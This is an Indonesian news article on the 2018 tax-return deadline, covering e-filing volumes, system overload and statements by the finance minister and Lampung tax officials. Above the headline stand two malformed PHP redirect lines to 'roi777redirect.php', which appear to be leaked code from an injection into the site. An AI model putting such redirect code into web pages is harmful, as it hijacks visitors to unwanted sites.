header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); 80 Persen WP Sampaikan Melalui e-Filing -
80 Persen WP Sampaikan Melalui e-Filing

10 Juta Orang Sudah Laporkan Pajak

TRANSLAMPUNG.COM – Hari terakhir pelaporan, penerimaan laporan surat pemberitahuan (SPT) dari wajib pajak (WP) orang pribadi mencapai 10.407.774.

Angka itu meningkat 12 persen bila dibandingkan dengan capaian tahun lalu sebanyak 9.288.394. Di antara 10,4 juta SPT yang masuk, 1.909.513 disampaikan secara manual.

Sementara itu, 80 persen sisanya (8.498.261) disampaikan melalui e-filing. Tingginya laporan sempat membuat sistem Direktorat Jenderal Pajak (DJP) down. Itu diakui Menteri Keuangan Sri Mulyani Indrawati.

Masalah terbesar terjadi Kamis (29/3), sebelum libur panjang bersamaan dengan Paskah.

“Nampaknya, semua orang pada menunggu di hari itu sehingga saluran sempat stuck. Karena begitu banyak dari mereka yang menunggu hingga hari-hari terakhir,” kata Ani -sapaan Sri Mulyani- saat melakukan sidak di gedung Kantor Pelayanan Pajak (KPP) Madya Jakarta.

Untuk melayani WP, semua KPP di seluruh Indonesia tetap buka kemarin meski Sabtu biasanya libur.

Ke depan Ani berpesan agar para WP tak lagi menyampaikan SPT pada hari-hari terakhir batas pelaporan.

Itu penting untuk menghindari risiko jaringan e-filing bermasalah dan menghindari antrean panjang.

DJP juga diminta Ani untuk terus meningkatkan kapasitas TI-nya sehingga bisa melayani dengan baik.

Sebab, minat masyarakat menggunakan e-filing semakin tinggi. Mantan managing director Bank Dunia itu juga mengatakan, tingkat kepatuhan WP tahun ini diperkirakan di atas 70 persen.

“Kami akan terus menyampaikan ke masyarakat bahwa uang pajak Anda untuk Anda juga dan kembali ke masyarakat,” kata Ani.

Dirjen Pajak Robert Pakpahan menambahkan, hingga hari terakhir kemarin, kantor-kantor pajak di Jakarta tidak tampak begitu padat.

Sebab, warga Jakarta lebih menyukai penyampaian SPT melalui e-filing. “Di daerah-daerah kayaknya yang agak padat,” tuturnya.

Sementara itu, Direktur Eksekutif Center for Indonesia Taxation Analysis (CITA) Yustinus Prastowo menilai, ada beberapa faktor yang membuat kepatuhan para WP meningkat.

Di antaranya, kampanye dan sosialisasi yang lebih gencar dari pemerintah, termasuk kampanye secara digital.

Kemudian, ada perbaikan yang cukup signifikan, terutama dari penambahan bandwith untuk e-filing sehingga traffic-nya jadi lebih lancar.

Tidak adanya rencana perpanjangan batas pelaporan SPT juga membuat orang ingin menyelesaikan pelaporan SPT lebih awal.

Namun, Prastowo juga mengingatkan pemerintah maupun masyarakat agar memperhatikan hasil dari pelaporan SPT.

Selain penyaluran dana dari penerimaan pajak yang perlu diawasi, penting juga meningkatkan pencapaian penerimaan itu sendiri.

“Ukuran capaian bukan sekadar jumlah wajib pajak yang melapor, tetapi kepatuhan material yang meningkat,” ujarnya.

Selanjutnya, untuk di Lampung sendiri pada hari terakhir pelaporan SPT Pajak, terlihat ramai wajib pajak yang mendatangi ke Kantor Pelayanan Pajak.

Kepala KPP Pratama Teluk Betung Faisal Fatahillah mengatakan, hari ini tercatat wajib pajak yang sudah melapor sebanyak 190 orang.

“Pada hari sebelumnya wajib pajak datang lebih ramai dari hari ini. Namun, kemarin kami menghimbau bahwa pelaporan pajak dapat melalui e-Filing yang dapat dilakukan secara sendiri dan lebih praktis dan tidak menyita waktu,” ucapnya.

“Terdaftar wajib pajak di Lampung untuk seluruh jenis SPT Tahunan sekitar 60.000 orang, sejak awal tahun hingga sekarang yang melapor SPT hanya 12.026 wajib pajak,” ujarnya pada radarlampung.co.id (Group Trans Lampung), Sabtu (31/3).

Terinci PPh Badan sebanyak 193 orang, PPh OP untuk usahawan sebanyak 1.768 orang, PPh OP S untuk diatas PTKP atau Penghasilan Tidak Kena Pajak sebanyak 4.691 orang dan PPh OP SS untuk pebisnis dan dibawah PTKP sebanyak 5.371 orang.

Faisal melanjutkan, mungkin nanti hari Senin (2/4) akan ada informasi resmi dari Kanwil DJP Lampung – Bengkulu untuk total keseluruhan WP yang sudah lapor SPT.

“Saat ini, WP yang dibawah PTKP sudah bukan menjadi target kami, Kami lebih menekankan kepada wajib pajak untuk PPh OP dan OP S yang termasuk pembisnis atau usahawan. Dari data tersebut, kami sudah mendapatkan target WP yang akan didatangi, selama ini kami tidak pernah melakukan sosialisasi namun langsung face to face menghampiri ke rumah WP agar lebih mudah komunikasinya,” jelasnya Faisal.

Pihaknya sangat menghimbau kepada WP untuk segera melapor SPT. Untuk hari selanjutnya, setelah Sabtu (31/3) sesuai himbauan sebelumnya WP masih dapat melapor namun dikenakan denda sebesar Rp 100 ribu.

Faisal menambahkan, SPT Tahunan PPh mempunyai kedudukan yang vital dalam pelaksanaan ketentuan perpajakan di Indonesia. Selain sebagai perwujudan kepatuhan pelaksanaan ketentuan perpajakan, SPT Tahunan PPh akan dijadikan sebagai triger dalam menentukan besarnya pajak yang sebenarnya terutang menurut DJP melalui proses pemeriksaan.

SPT Tahunan dalam hal ini berfungsi sebagai bahan mentah dalam proses penerbitan Surat Ketetapan Pajak.

“Beberapa hal yang harus menjadi perhatian WP dalam mengisi SPT Tahunan PPh yaitu, batas waktu penyampaian SPT Tahunan PPh, formulir SPT Tahunan PPh yang dipergunakan, tata cara pengisian SPT Tahunan PPh, tata cara penyampaian SPT Tahunan PPh, sanksi apabila tidak menyampaikan SPT Tahunan PPh,” ujarnya. (jpg/hen/ynk/tnn)

News Reporter